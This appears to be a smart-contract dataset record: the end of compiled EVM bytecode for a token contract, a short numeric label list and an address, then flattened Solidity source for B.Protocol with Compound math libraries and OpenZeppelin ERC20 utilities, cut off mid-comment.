fffffffffffffffffffffffffff168152602001908152602001600020546131ae9190613c7e565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132809190613c7e565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132f89190613d5f565b600e8190555080600f5461330c9190613c7e565b600f819055505050565b6000806000806064868861332a9190613d05565b6133349190613cd4565b90506000606486896133469190613d05565b6133509190613cd4565b9050600081838a6133619190613d5f565b61336b9190613d5f565b905080838395509550955050505093509350939050565b60008060008084886133949190613d05565b9050600085886133a49190613d05565b9050600086886133b49190613d05565b905060008183856133c59190613d5f565b6133cf9190613d5f565b9050838184965096509650505050509450945094915050565b60006133fb6133f684613bfd565b613bd8565b9050808382526020820190508285602086028201111561341e5761341d613fad565b5b60005b8581101561344e57816134348882613458565b845260208401935060208301925050600181019050613421565b5050509392505050565b600081359050613467816141d3565b92915050565b60008151905061347c816141d3565b92915050565b600082601f83011261349757613496613fa8565b5b81356134a78482602086016133e8565b91505092915050565b6000815190506134bf816141ea565b92915050565b6000813590506134d481614201565b92915050565b6000815190506134e981614201565b92915050565b60006020828403121561350557613504613fb7565b5b600061351384828501613458565b91505092915050565b60006020828403121561353257613531613fb7565b5b60006135408482850161346d565b91505092915050565b600080604083850312156135605761355f613fb7565b5b600061356e85828601613458565b925050602061357f85828601613458565b9150509250929050565b6000806000606084860312156135a2576135a1613fb7565b5b60006135b086828701613458565b93505060206135c186828701613458565b92505060406135d2868287016134c5565b9150509250925092565b600080604083850312156135f3576135f2613fb7565b5b600061360185828601613458565b9250506020613612858286016134c5565b9150509250929050565b60006020828403121561363257613631613fb7565b5b600082013567ffffffffffffffff8111156136505761364f613fb2565b5b61365c84828501613482565b91505092915050565b60006020828403121561367b5761367a613fb7565b5b6000613689848285016134b0565b91505092915050565b6000806000606084860312156136ab576136aa613fb7565b5b60006136b9868287016134da565b93505060206136ca868287016134da565b92505060406136db868287016134da565b9150509250925092565b60006136f183836136fd565b60208301905092915050565b61370681613d93565b82525050565b61371581613d93565b82525050565b600061372682613c39565b6137308185613c5c565b935061373b83613c29565b8060005b8381101561376c57815161375388826136e5565b975061375e83613c4f565b92505060018101905061373f565b5085935050505092915050565b61378281613da5565b82525050565b61379181613dfc565b82525050565b60006137a282613c44565b6137ac8185613c6d565b93506137bc818560208601613e0e565b6137c581613fbc565b840191505092915050565b60006137dd602a83613c6d565b91506137e882613fcd565b604082019050919050565b6000613800602283613c6d565b915061380b8261401c565b604082019050919050565b6000613823602083613c6d565b915061382e8261406b565b602082019050919050565b6000613846602983613c6d565b915061385182614094565b604082019050919050565b6000613869602583613c6d565b9150613874826140e3565b604082019050919050565b600061388c602483613c6d565b915061389782614132565b604082019050919050565b60006138af601783613c6d565b91506138ba82614181565b602082019050919050565b60006138d2601183613c6d565b91506138dd826141aa565b602082019050919050565b6138f181613dd1565b82525050565b61390081613def565b82525050565b600060208201905061391b600083018461370c565b92915050565b6000604082019050613936600083018561370c565b613943602083018461370c565b9392505050565b600060408201905061395f600083018561370c565b61396c60208301846138e8565b9392505050565b600060c082019050613988600083018961370c565b61399560208301886138e8565b6139a26040830187613788565b6139af6060830186613788565b6139bc608083018561370c565b6139c960a08301846138e8565b979650505050505050565b60006020820190506139e96000830184613779565b92915050565b60006020820190508181036000830152613a098184613797565b905092915050565b60006020820190508181036000830152613a2a816137d0565b9050919050565b60006020820190508181036000830152613a4a816137f3565b9050919050565b60006020820190508181036000830152613a6a81613816565b9050919050565b60006020820190508181036000830152613a8a81613839565b9050919050565b60006020820190508181036000830152613aaa8161385c565b9050919050565b60006020820190508181036000830152613aca8161387f565b9050919050565b60006020820190508181036000830152613aea816138a2565b9050919050565b60006020820190508181036000830152613b0a816138c5565b9050919050565b6000602082019050613b2660008301846138e8565b92915050565b600060a082019050613b4160008301886138e8565b613b4e6020830187613788565b8181036040830152613b60818661371b565b9050613b6f606083018561370c565b613b7c60808301846138e8565b9695505050505050565b6000606082019050613b9b60008301866138e8565b613ba860208301856138e8565b613bb560408301846138e8565b949350505050565b6000602082019050613bd260008301846138f7565b92915050565b6000613be2613bf3565b9050613bee8282613e41565b919050565b6000604051905090565b600067ffffffffffffffff821115613c1857613c17613f79565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c8982613dd1565b9150613c9483613dd1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cc957613cc8613eec565b5b828201905092915050565b6000613cdf82613dd1565b9150613cea83613dd1565b925082613cfa57613cf9613f1b565b5b828204905092915050565b6000613d1082613dd1565b9150613d1b83613dd1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d5457613d53613eec565b5b828202905092915050565b6000613d6a82613dd1565b9150613d7583613dd1565b925082821015613d8857613d87613eec565b5b828203905092915050565b6000613d9e82613db1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613e0782613dd1565b9050919050565b60005b83811015613e2c578082015181840152602081019050613e11565b83811115613e3b576000848401525b50505050565b613e4a82613fbc565b810181811067ffffffffffffffff82111715613e6957613e68613f79565b5b80604052505050565b6000613e7d82613dd1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613eb057613eaf613eec565b5b600182019050919050565b6000613ec682613ddb565b915067ffffffffffffffff821415613ee157613ee0613eec565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6141dc81613d93565b81146141e757600080fd5b50565b6141f381613da5565b81146141fe57600080fd5b50565b61420a81613dd1565b811461421557600080fd5b5056fea2646970667358221220d6fd3e41ec287611e76872461ebed3d667c6c835abc469ee9c26444c27cc90e264736f6c63430008060033
[ 13, 4, 5 ]
0xf29d869ee7ebe30fde045d26a9146654c392eaca
/* B.PROTOCOL TERMS OF USE ======================= THE TERMS OF USE CONTAINED HEREIN (THESE β€œTERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the β€œPROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMSΒ (β€œDLPs”). PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS. IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL. Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age. License; No Warranties; Limitation of Liability; (a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause. (b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", β€œWITH ALL FAULTS” and β€œAS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. (c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ // File: contracts/bprotocol/interfaces/IComptroller.sol pragma solidity 0.5.16; interface IComptroller { // ComptrollerLensInterface.sol // ============================= function markets(address) external view returns (bool, uint); function oracle() external view returns (address); function getAccountLiquidity(address) external view returns (uint, uint, uint); function getAssetsIn(address) external view returns (address[] memory); function compAccrued(address) external view returns (uint); // Claim all the COMP accrued by holder in all markets function claimComp(address holder) external; // Claim all the COMP accrued by holder in specific markets function claimComp(address holder, address[] calldata cTokens) external; function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external; // Public storage defined in Comptroller contract // =============================================== function checkMembership(address account, address cToken) external view returns (bool); function closeFactorMantissa() external returns (uint256); function liquidationIncentiveMantissa() external returns (uint256); // Public/external functions defined in Comptroller contract // ========================================================== function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function getAllMarkets() external view returns (address[] memory); function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint); function compBorrowState(address cToken) external returns (uint224, uint32); function compSupplyState(address cToken) external returns (uint224, uint32); } // File: contracts/bprotocol/interfaces/IRegistry.sol pragma solidity 0.5.16; interface IRegistry { // Ownable function transferOwnership(address newOwner) external; // Compound contracts function comp() external view returns (address); function comptroller() external view returns (address); function cEther() external view returns (address); // B.Protocol contracts function bComptroller() external view returns (address); function score() external view returns (address); function pool() external view returns (address); // Avatar functions function delegate(address avatar, address delegatee) external view returns (bool); function doesAvatarExist(address avatar) external view returns (bool); function doesAvatarExistFor(address owner) external view returns (bool); function ownerOf(address avatar) external view returns (address); function avatarOf(address owner) external view returns (address); function newAvatar() external returns (address); function getAvatar(address owner) external returns (address); // avatar whitelisted calls function whitelistedAvatarCalls(address target, bytes4 functionSig) external view returns(bool); function setPool(address newPool) external; function setWhitelistAvatarCall(address target, bytes4 functionSig, bool list) external; } // File: contracts/bprotocol/interfaces/IScore.sol pragma solidity 0.5.16; interface IScore { function updateDebtScore(address _user, address cToken, int256 amount) external; function updateCollScore(address _user, address cToken, int256 amount) external; function slashedScore(address _user, address cToken, int256 amount) external; } // File: contracts/bprotocol/lib/CarefulMath.sol pragma solidity 0.5.16; /** * @title Careful Math * @author Compound * @notice COPY TAKEN FROM COMPOUND FINANCE * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } // File: contracts/bprotocol/lib/Exponential.sol pragma solidity 0.5.16; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } // New functions added by BProtocol // ================================= function mulTrucate(uint a, uint b) internal pure returns (uint) { return mul_(a, b) / expScale; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data 